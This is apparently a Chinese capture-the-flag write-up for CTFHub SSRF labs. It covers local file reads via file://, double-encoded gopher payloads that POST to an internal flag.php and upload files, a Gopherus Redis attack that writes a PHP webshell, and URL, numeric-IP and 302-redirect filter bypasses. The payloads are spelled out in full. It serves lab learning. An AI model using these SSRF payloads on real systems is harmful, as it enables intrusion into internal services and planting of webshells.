【CTFHUB】SSRF绕过方法之靶场实践(二)

SSRF POST请求

提示信息:
这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

首先测试了http的服务请求,出现对话框
【CTFHUB】SSRF绕过方法之靶场实践(二)_第1张图片
输入数值后提示:只能接受来自127.0.0.1的请求

右键查看源码发现key值

image.png

通过file协议读取flag.php页面的源码
构造 Payload:

?url=file:///var/www/html/flag.php

flag.php源码如下

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

<form action="/flag.php" method="post">
	<input type="text" name="key">
	<!-- Debug: key=<?php echo $key;?>-->
</form>

尝试使用gopher 协议向服务器发送 POST 包,构造 gopher协议所需的 POST请求:

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=fb00a2abc4b635472a398e19c222e665

在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。

需要对构造的请求包进行两次 URL编码:

一、将构造好的请求包进行第一次 URL编码:

image.png

在第一次编码后的,将%0A替换为%0D%0A。
因为 Gopher协议包含的请求数据包中,可能包含有=、&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节。

二、二次URL编码得到如下 Gopher请求内容:

image.png

curl功能向目标发送 POST请求,构造如下Payload:

?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253Dfb00a2abc4b635472a398e19c222e665

返回的页面请求如下
【CTFHUB】SSRF绕过方法之靶场实践(二)_第2张图片

上传文件

提示信息:这次需要上传一个文件到flag.php了.祝你好运

进入到页面中,会看到是文件上传的页面,但是没有提交页面的请求,那么首先就在前端页面构造一个submit的请求方式。
(仿照"浏览"按钮)

点击提交的同时burp抓包

然后将其POST的/flag.php添加地址127.0.0.1,然后再将其整个POST请求包进行URL编码

之后将%0A替换成%0D%0A,进行第二次编码。

然后返回到起始的上传文件页面之后,抓取GET请求包

【CTFHUB】SSRF绕过方法之靶场实践(二)_第3张图片

最后将GET请求包中的目录进行替换,替换成方才二次编码好的数据。之后在前面添加gopher://127.0.0.1:80的地址,注意“_”不可或缺,之后发送请求包就可以得到flag

【CTFHUB】SSRF绕过方法之靶场实践(二)_第4张图片

redies协议

提示:这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!

1.在kali上面输入命令:

python gophers.py --exploit redis

然后选择攻击模式和构造shell
第一个选项这里我们填写php,因为我们需要的是phpshell
第二个选项可以不填,默认根路径为/var/www/html
第三个就写入我们的shell代码

【CTFHUB】SSRF绕过方法之靶场实践(二)_第5张图片
最后会生成指定的URL编码,认的写入文件名是shell.php 命令参数是qq

进行第二次url编码时,不需要再将%0a换为%0d%0a了,因为生成的payload已经替换

【CTFHUB】SSRF绕过方法之靶场实践(二)_第6张图片

然后二次编码之后,输入payload之后显示504 Gateway Time-out,就代表了我们成功写入shell了,蚁剑连接查看就可以得到flag或者可以用get请求的方式直接回显在页面上

【CTFHUB】SSRF绕过方法之靶场实践(二)_第7张图片

URL Bypass

提示信息:
请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧。
利用@符号

构造PAYLOAD

http://challenge-27d5969fefffeb6b.sandbox.ctfhub.com:10800/?url=http://[email protected]/flag.php

数字IP Bypass

提示信息;
这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

构造payload

http://challenge-27d5969fefffeb6b.sandbox.ctfhub.com:10800/?url=http://017700000001#十六进制

http://challenge-27d5969fefffeb6b.sandbox.ctfhub.com:10800/?url=http://2130706433

1

302跳转 Bypass

提示信息:
SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

http://127.0.0.1/flag.php  # 将这条链接生成短链接

【CTFHUB】SSRF绕过方法之靶场实践(二)_第8张图片

利用如下生成短链接:
https://www.toolnb.com/tools/duanwangzhi.html

http://challenge-27d5969fefffeb6b.sandbox.ctfhub.com:10800/?url=https://shorturl.at/lwADO

【CTFHUB】SSRF绕过方法之靶场实践(二)_第9张图片

你可能感兴趣的:(CTF,Recording,网络安全,web安全,笔记)